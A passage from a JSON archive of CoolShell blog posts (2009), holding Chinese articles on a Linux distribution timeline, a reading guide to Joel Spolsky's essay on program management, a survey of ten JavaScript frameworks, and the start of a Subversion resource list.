href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1907.html\">UI的恶梦</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-10 Linux Distribution Timeline.html",
    "content": "<html><body><p>下面这个网站记录了整个Linux所有发行版的时间线，很有意思<br/>\n<a href=\"http://futurist.se/gldt/\">http://futurist.se/gldt/</a></p>\n<p>最新的更新时间是2009-2-12，下面是下载链接：<br/>\n<a href=\"http://futurist.se/gldt/gldt92.png\">811 kb png</a> / <a href=\"http://futurist.se/gldt/gldt92.tar.bz2\">72 kb tar.bz2</a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/gldt92.png\"><img alt=\"gldt92\" class=\"alignright size-large wp-image-86\" height=\"1024\" src=\"../wp-content/uploads/2009/03/gldt92-612x1024.png\" title=\"gldt92\" width=\"612\"/></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/85.html\">Linux Distribution Timeline</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-10 怎样做一个 Program Manager.html",
    "content": "<html><body><p>我个人认为，这是一篇不错的文章，虽然我不是Program Mananger，但是我几乎在做着和这个职位很相似的工作。在这里，我把这篇文章推荐给所有的程序员，我相信，这篇文章会让你明白，只有技术是远远不够的，因为没有Program Manager这个角色，程序员们只不过一些手中拿着利器却不知所措的散兵游勇。我希望我的导读和原文能给所有的程序带来启示。</p>\n<p style=\"padding-left: 30px;\"><strong>原文在这里：</strong><br/>\n“How to be a program manager”<br/>\n<a href=\"http://www.joelonsoftware.com/items/2009/03/09.html\">http://www.joelonsoftware.com/items/2009/03/09.html</a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/09meeting-thumbnail.jpg\"><img alt=\"09meeting-thumbnail\" class=\"alignright size-medium wp-image-77\" height=\"198\" src=\"../wp-content/uploads/2009/03/09meeting-thumbnail-300x198.jpg\" title=\"09meeting-thumbnail\" width=\"300\"/></a>这篇文章的作者叫Joel Spolsky，在Microsoft做过Program Manager，这篇文章非常值得一读。下面是我给大家做的一个导读：</p>\n<p>首先，他讲了两个人，一个是负责WYSIWYG 字处理的天才级的Program Manager——Charles Simonyi，第二个是上世纪80年代的负责Mac OS上的Excel项目的程序员Jabe Blumenthal，他发现了程序员和市场人员的代沟，Marketing的人很难通过把MBA-Speaking翻译成实际的Feature，并且，有太多的和编码不相关的工作，比如说，和用户交谈，运行usability测试，Reivew竞争者的产品，并且得冥思苦想怎么能让事情变得更简单，而我们的程序员通常来说即不具备这样的时间，也不具备这样的能力。于是，Jabe开始了他的Program Manager的生涯。</p>\n<p><span id=\"more-76\"></span></p>\n<p><strong><span style=\"text-decoration: underline;\">工作范围</span></strong></p>\n<p>作者在第二节里说了一个PM主要负责哪些事务：</p>\n<ol>\n<li>Design UIs （用户界面的设计）</li>\n<li>Write functional specs （书写功能规格说明书）</li>\n<li>Coordinate teams （团队协调）</li>\n<li>Serve as the customer advocate, and （从用户角度思考问题）</li>\n<li>Wear Banana Republic chinos （Banana Republic是一个服装品牌，意思是作者在调侃PM需要衣冠楚楚，而不像程序员们只有T恤或牛仔裤）</li>\n</ol>\n<p>接下来，作者讲述了他第一份Program Manager工作的经历，非常有意思，那是一个关于Excel 用户定制化的项目（耗子注：应该是在Excel中加入VBScript的项目吧，就是所谓的宏）。</p>\n<p>第一个阶段</p>\n<ul>\n<li>首先，作者找了很多很多的用户谈论了这个什么是最有用最合理的实现，这是一个非常巨大的工作，花费了非常多的精力和时间。</li>\n<li>然后，作者找到了Visual Basic团队询问了是否可能给Excel提供一个编译器和代码编辑器，以便实现“宏”。</li>\n<li>接着，作者查看了一下Apple上面的AppleScript这种宏，取了取经。</li>\n<li>最后，作者同 Word, Access, Project, 和Mail团队们讨论了很多很多。</li>\n</ul>\n<p>作者说，这个阶段的工作让他满是伤痕，他甚至害怕听到手机铃响。</p>\n<p>第二个阶段</p>\n<ul>\n<li>确定大方向。他开始写下Visual Baisc应该怎么样在Excel里面工作的文档。并提供了一些简单的宏的样子。这应该是high-level的Functional Spec。</li>\n<li>当大的方向确定后，他开始了一些更为细节的功能规格说明的书写。这就是所谓的Functional Specification. (耗子注：这份文档应该只是说明从用户的角度上来看这个产品长成什么样，而不是实现)</li>\n<li>虽然FS并不需要说明怎么去实现，但这份文档应该是需要非常详细地说明整个Excel和VBScript怎么相互交互的，这是其中最重要的部分。</li>\n<li>当作者把FS的一个初始化版本发给开发团队（Ben Waldman）时，开发团队非常快地实现出了一个原型，并提供了面向对象的相关接口。但可惜的是，那并不是Program Manger所想要的。</li>\n<li>作者描述了一个细节如果帮助开发团队解决技术难点的例子。那是关于把一个Excel中的一个cell的值取出来的例子。当时，developer团队认为这是一个难点，因为这个值可能是任意类型的。而VB中却需要先声明变量的类型。后来，作者找到了VB的开发团队，了解到了Variants 和IDispatch可以做到这个。</li>\n</ul>\n<p>我们可以看到，FS在这样反复地和developer 团队推敲，甚至去帮助程序员解决技术难题，之后最终才能确定下来。一旦FS确定后，program manger需要做两件事：</p>\n<ol>\n<li>负责解释相关的问题。</li>\n<li>组织并形成相关的design。</li>\n</ol>\n<p>也就是说，除了对FS解释外，需还需要把What needs to do 变成 How to do的设计文档。另外，Program Manager可能会有下面的工作：</p>\n<ul>\n<li>测试人员会对FS有很多很多疑问，因为他们需要知道怎么样去测试这些FS中所包含的东西。</li>\n<li>和文档团队商讨如何写一个好的教程或是一个参考文档。</li>\n<li>和localization 团队制定localization 的策略。</li>\n<li>和市场人员说明VBA的优势和功能。</li>\n</ul>\n<p>我们可以看到，作者有太多，太多的会议和太多的与人沟通的事务，真是一个不简单的工作啊。</p>\n<p><strong><span style=\"text-decoration: underline;\">冲突管理</span></strong></p>\n<p>后面，作者着重讲了“Conflicts”冲突，这可能是所有的团队都会有的问题。而我们的Program Manager因为要和那么多的人沟通交流，所以，必然会需要有一种超人的能力去管理与人的发生的观点上的冲突。作者，在这里说了和程序员发生的很多争论，因为Program Manager是从用户的角度出发，而我们程序员总是从技术和实现的角度出发，不同的角度必然会引发冲突。作者举了一个例子，他说，用户们喜欢一个“心灵感应”的界面和一个30英寸的显示器，而我们的程序员喜欢的只是用Python搞的命令行接口。呵呵。另外，作者引用了一个Excel中的“pivot tables ”所引发的一个历时最长的争议作为案例。</p>\n<p>最后，作者讨论了，争论是一个很好的事，就好像法院里的原告和被告都有自己的辩护律师一样，这有助于人们逼近事物的真相。对于软件开发也一样，良好的争论其实是对产品有好处的。我们应该在争论中关注事。</p>\n<p>当在讨论到和程序相处的过程，作者说到了和程序员相外并不是一件很容易的事，因为你并不编码而也没有技术能力，通常会受到程序员的冷眼。所以在和程序沟通的过程中需要保证两件事：1）确信自己的正确的。2）让程序员尊敬自己。而对于第二点，如何让程序员尊敬自己，作者发表了自己的见解：1）demonstrate intelligence（展示自己的才华），2）open-mindedness（心胸宽阔），3）fairness（公平，正直）。千万不要搞办公室政治，或是开私密的经理会，等等。不然的话，你必然受到排挤。</p>\n<p><strong><span style=\"text-decoration: underline;\">推荐读物</span></strong></p>\n<p>最后作者给大家推荐了一些很不错的读物：</p>\n<ul>\n<li class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Arial;\"><span style=\"font-size: 10pt; font-family: Arial;\"><a href=\"http://www.amazon.com/gp/product/0596517718?ie=UTF8&amp;tag=joelonsoftware&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0596517718\" title=\"blocked::http://www.amazon.com/gp/product/0596517718?ie=UTF8&amp;tag=joelonsoftware&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0596517718\">Making Things Happen</a></span></span> （经理一般都在干什么？）</li>\n<li class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Arial;\"><span style=\"font-size: 10pt; font-family: Arial;\"><a href=\"http://www.amazon.com/gp/product/0321344758?ie=UTF8&amp;tag=joelonsoftware&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0321344758\" title=\"blocked::http://www.amazon.com/gp/product/0321344758?ie=UTF8&amp;tag=joelonsoftware&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0321344758\">Don’t Make Me Think</a></span></span>  （如果你要写FS或UI设计，你应该看看这本书）</li>\n<li class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Arial;\"><span style=\"font-size: 10pt; font-family: Arial;\"><a href=\"http://www.amazon.com/gp/product/1893115941?ie=UTF8&amp;tag=joelonsoftware&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=1893115941\" title=\"blocked::http://www.amazon.com/gp/product/1893115941?ie=UTF8&amp;tag=joelonsoftware&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=1893115941\">User Interface Design for Programmers</a>.</span></span> （作者自己的书，关于UI设计）</li>\n<li class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Arial;\"><span style=\"font-size: 10pt; font-family: Arial;\"><a href=\"http://www.amazon.com/gp/product/0671027034?ie=UTF8&amp;tag=joelonsoftware&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0671027034\" title=\"blocked::http://www.amazon.com/gp/product/0671027034?ie=UTF8&amp;tag=joelonsoftware&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0671027034\">How to Win Friends &amp; Influence People</a></span></span> （在人际关系方面，需要看看这本书）</li>\n</ul>\n<p class=\"MsoNormal\">（完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2681.html\"><img alt=\"Kent Beck 谈单元测试和持续部署\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2681.html\">Kent Beck 谈单元测试和持续部署</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2539.html\"><img alt=\"参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2539.html\">参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1654.html\"><img alt=\"Richard Feynman, 挑战者号, 软件工程\" height=\"150\" src=\"../wp-content/uploads/2009/11/250px-ChallengerCrew-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1654.html\">Richard Feynman, 挑战者号, 软件工程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/971.html\"><img alt=\"质量管理经中的八个法则\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/971.html\">质量管理经中的八个法则</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/796.html\"><img alt=\"5个不错的3D素材网站\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/796.html\">5个不错的3D素材网站</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4605.html\"><img alt=\"Amazon的书为什么卖到了$2000万\" height=\"150\" src=\"../wp-content/uploads/2011/04/lawrence_1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4605.html\">Amazon的书为什么卖到了$2000万</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/76.html\">怎样做一个 Program Manager</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-11 十个开源的Javascript框架.html",
    "content": "<html><body><p>下面是十个最牛的也是最流行的Javascript框架。它们完全可以担任目前世界上几乎所有一些和Ajax技术相关的和图形界面相关的一切功能。</p>\n<li>\n<h2>jQuery</h2>\n</li>\n<p><a href=\"http://jquery.com/\">http://jquery.com/</a></p>\n<p><a href=\"http://jquery.com/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/jquery.png\"/></a></p>\n<p>如果今天你还不知道jQuery的话，那么作为一个程序员你可能真的是从火星来的了。这恐怕是Ajax中应用最广的框架。包括了许多很不错的UI组件，做出网页的效果也是令人称道的。不过，他最牛的是它的文件大小，只有区区18K，实在是居家旅行，网站开发之首选。</p>\n<p><a href=\"http://jquery.com/\" rel=\"nofollow\"></a> 下面是一个日历控件，很不错吧。</p>\n<p><a href=\"http://jqueryui.com/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/jquerygui.PNG\"/></a> </p>\n<p><span id=\"more-91\"></span></p>\n<li>\n<h2>Prototype</h2>\n</li>\n<p><a href=\"http://prototypejs.org/\">http://prototypejs.org/</a></p>\n<p><a href=\"http://prototypejs.org/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/prototypejs.png\"/></a> </p>\n<p>一个面向对象的javascript类库，包函了很多很多很实用的功能，很多其它的框架都使用了他作为基础类库。大小128K，有点大，还好。下面一其一个UI的示例。</p>\n<p><a href=\"http://www.prototype-ui.com/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/protoui.PNG\"/></a></p>\n<li>\n<h2>script.aculo.us</h2>\n</li>\n<p><a href=\"http://script.aculo.us/\">http://script.aculo.us/</a></p>\n<p><a href=\"http://script.aculo.us/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/scriptaculous.png\"/></a> </p>\n<p>这个框架是基础上面那个框架（Prototype ）上开发的，它被包含在Ruby on Rails框架中（<a href=\"http://rubyonrails.org/\">http://rubyonrails.org/</a>）。</p>\n<li>\n<h2>MooTools</h2>\n</li>\n<p><a href=\"http://mootools.net/\">http://mootools.net/</a></p>\n<p><a href=\"http://mootools.net/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/Mootools.png\"/></a> </p>\n<p>这是一个紧凑的，模块化的，面向对象风格的javascript框架，这并不是一个能直接用上的Javascript，他主要给程序员们方便地进行开发更高级的组件，因为这个框架主要是面对开发人员的，所以他是非常灵活和非常强大的。也不大，才63K。</p>\n<li>\n<h2>ExtJS</h2>\n</li>\n<p><a href=\"http://extjs.com/products/extjs/\">http://extjs.com/products/extjs/</a></p>\n<p><a href=\"http://extjs.com/products/extjs/\" rel=\"nofollow\"><img alt=\"\" class=\"alignleft\" src=\"http://www.ajaxline.com/files/extjs.png\"/></a>这是一个超级强大的Javascripts类库，简直是包罗万像，就像机器猫的口袋，想要什么就有什么。UI组件多的是令人发指，功能也是强大到不行。当然，其类库的尺寸也是强大到不行，一共6.6M，还是被压缩过的。看看下面的UI示例吧，这只不过是冰山一角。</p>\n<p><strong>我个人认为这个是所有框架里面最好的一个。</strong></p>\n<p><a href=\"http://extjs.com/products/extjs/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/extjs_ex.PNG\"/></a> </p>\n<li>\n<h2>Qooxdoo</h2>\n</li>\n<p><a href=\"http://qooxdoo.org/\">http://qooxdoo.org/</a></p>\n<p><a href=\"http://qooxdoo.org/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/qooxdoo.gif\"/></a> </p>\n<p>Exjs才6.6M，这个javascript类库居然有19.9M，正所谓一山还有一山高，没有最BT，只有更BT。它包括一个独立于平台的开发工具链，一个最先进的图形用户界面工具和先进的客户端与服务器之间的通讯层。下面是其UI示例：</p>\n<p><a href=\"http://qooxdoo.org/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/qoox_ex.PNG\"/></a> </p>\n<li>\n<h2>Yahoo! UI Library (YUI)</h2>\n</li>\n<p><a href=\"http://developer.yahoo.com/yui/\">http://developer.yahoo.com/yui/</a></p>\n<p><a href=\"http://developer.yahoo.com/yui/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/yui.jpg\"/></a> </p>\n<p>如果你不知道YUI的话，那么我想告诉你的是，你一定是在离地球20亿光年的亚美尼亚星居住。这个YUI类库也是包罗万象，他最好的不但是条件非常宽松的BSD的License，而且，你不必像别的类库一下，管你用不用你都要全部文件。YUI除了基础库外，你用多少就下载多少。这么丰富的UI也只有10.5M的大小，还OK了。下面是一个演示：</p>\n<p><a href=\"http://developer.yahoo.com/yui/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/yui_ex.PNG\"/></a> </p>\n<li>\n<h2>MochiKit</h2>\n</li>\n<p><a href=\"http://www.mochikit.com/\">http://www.mochikit.com/</a></p>\n<p>一个很轻量级的类库，主要实际了异步请求的若干功能。</p>\n<p><a href=\"http://www.mochikit.com/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/mochikit.PNG\"/></a> </p>\n<p> </p>\n<li>\n<h2>Midori</h2>\n</li>\n<p><a href=\"http://www.midorijs.com/\">http://www.midorijs.com/</a></p>\n<p>又一个轻量级的类库，没有用过。只有45K大小。主要是一些UI上的美化吧。</p>\n<p><a href=\"http://www.midorijs.com/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/midory.png\"/></a></p>\n<p>示例： </p>\n<p><a href=\"http://www.midorijs.com/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/midori_ex.PNG\"/></a> </p>\n<li>\n<h2>The Dojo Toolkit</h2>\n</li>\n<p><a href=\"http://www.dojotoolkit.org/\">http://www.dojotoolkit.org/</a></p>\n<p><a href=\"http://www.dojotoolkit.org/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/dojo.png\"/></a> </p>\n<p>又一个超强大的类库，提供了非常丰富的UI。BSD的license，大小1.7M，看看下面的UI示例你就知道有多强大了。</p>\n<p><a href=\"http://www.dojotoolkit.org/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/dojo_ex.PNG\"/></a></p>\n<p>文章：<a href=\"http://www.ajaxline.com/10-most-popular-javascript-frameworks\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9749.html\"><img alt=\"Javascript 装载和执行\" height=\"150\" src=\"../wp-content/uploads/2013/06/javascript-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9749.html\">Javascript 装载和执行</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2593.html\"><img alt=\"Web版的VNC\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2593.html\">Web版的VNC</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/909.html\"><img alt=\"7个免费强大的Ajax文件管理器\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/909.html\">7个免费强大的Ajax文件管理器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/91.html\">十个开源的Javascript框架</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-11 版本控制Subversion相关资源.html",
    "content": "<html><body><p></p>\n<h2 style=\"TEXT-ALIGN: left;\">入门教程</h2>\n<ul>\n<li><a href=\"http://www.abbeyworkshop.com/howto/misc/svn01/\">Subversion Cheat Sheet</a>（<a href=\"http://ariejan.net/upload/svncheatsheet-1.0.1.pdf\">PDF version</a>）</li>\n<li><a href=\"http://svnbook.red-bean.com/en/1.5/index.html\">The Subversion Book</a></li>\n<li><a href=\"http://svn.collab.net/svn-doxygen/\">Subversion Official Documentation</a></li>\n<li><a href=\"http://svn1clicksetup.tigris.org/\">SVN 1-Click Setup</a></li>\n</ul>\n<h2>Subversion客户端</h2>\n<ul>\n<li><a href=\"http://tortoisesvn.tigris.org/\">Tortoise SVN</a> (Windows only)</li>\n</ul>\n<p style=\"TEXT-ALIGN: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/tortoisesvn.png\"><img alt=\"tortoisesvn\" class=\"size-full wp-image-97 aligncenter\" height=\"215\" src=\"../wp-content/uploads/2009/03/tortoisesvn.png\" title=\"tortoisesvn\" width=\"310\"/></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/tortoisesvn.png\"></a></p>\n<p><span id=\"more-93\"></span></p>\n<ul>\n<li><a href=\"http://www.zennaware.com/cornerstone/\">Cornerstone</a> (Mac only)</li>\n<li><a href=\"http://pysvn.tigris.org/\">Workbench</a></li>\n<li><a href=\"http://www.syntevo.com/smartsvn/index.html\">SmartSVN</a></li>\n</ul>\n<p style=\"TEXT-ALIGN: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/auto.gif\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/auto.gif\"><img alt=\"auto\" class=\"size-medium wp-image-94 aligncenter\" height=\"105\" src=\"../wp-content/uploads/2009/03/auto-300x105.gif\" title=\"auto\" width=\"300\"/></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/auto.gif\"></a></p>\n<ul>\n<li><a href=\"http://www.versionsapp.com/\">Versions</a> (Mac only)</li>\n</ul>\n<p style=\"TEXT-ALIGN: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/versions.jpg\"><img alt=\"versions\" class=\"size-medium wp-image-98 aligncenter\" height=\"193\" src=\"../wp-content/uploads/2009/03/versions-300x193.jpg\" title=\"versions\" width=\"300\"/></a></p>\n<ul>\n<li><a href=\"http://subclipse.tigris.org/\">Subclipse</a></li>\n</ul>\n<p style=\"TEXT-ALIGN: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/ecl.gif\"><img alt=\"ecl\" class=\"size-medium wp-image-95 aligncenter\" height=\"300\" src=\"../wp-content/uploads/2009/03/ecl-297x300.gif\" title=\"ecl\" width=\"297\"/></a></p>\n<ul>\n<li><a href=\"http://subcommander.tigris.org/\">Subcommander</a></li>\n<li><a href=\"http://fsvs.tigris.org/\">FSVS</a> “Fast System Versioning”,</li>\n<li><a href=\"http://www.syncrosvnclient.com/\">Syncro SVN Client</a></li>\n</ul>\n<p style=\"TEXT-ALIGN: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/jano.gif\"><img alt=\"jano\" class=\"size-medium wp-image-96 aligncenter\" height=\"277\" src=\"../wp-content/uploads/2009/03/jano-300x277.gif\" title=\"jano\" width=\"300\"/></a></p>\n<ul>\n<li><a href=\"http://scplugin.tigris.org/\">scplugin</a> (Mac only)</li>\n<li><a href=\"http://www.qaware.de/qasvn/QAsvn.html\">iPhone SVN Log Viewer</a></li>\n</ul>\n<h2>IDE插件</h2>\n<ul>\n<li><a href=\"http://subclipse.tigris.org/\">Subclipse</a>（<a href=\"http://www.eclipse.org/\">Eclipse IDE</a> for Java）</li>\n</ul>\n<p 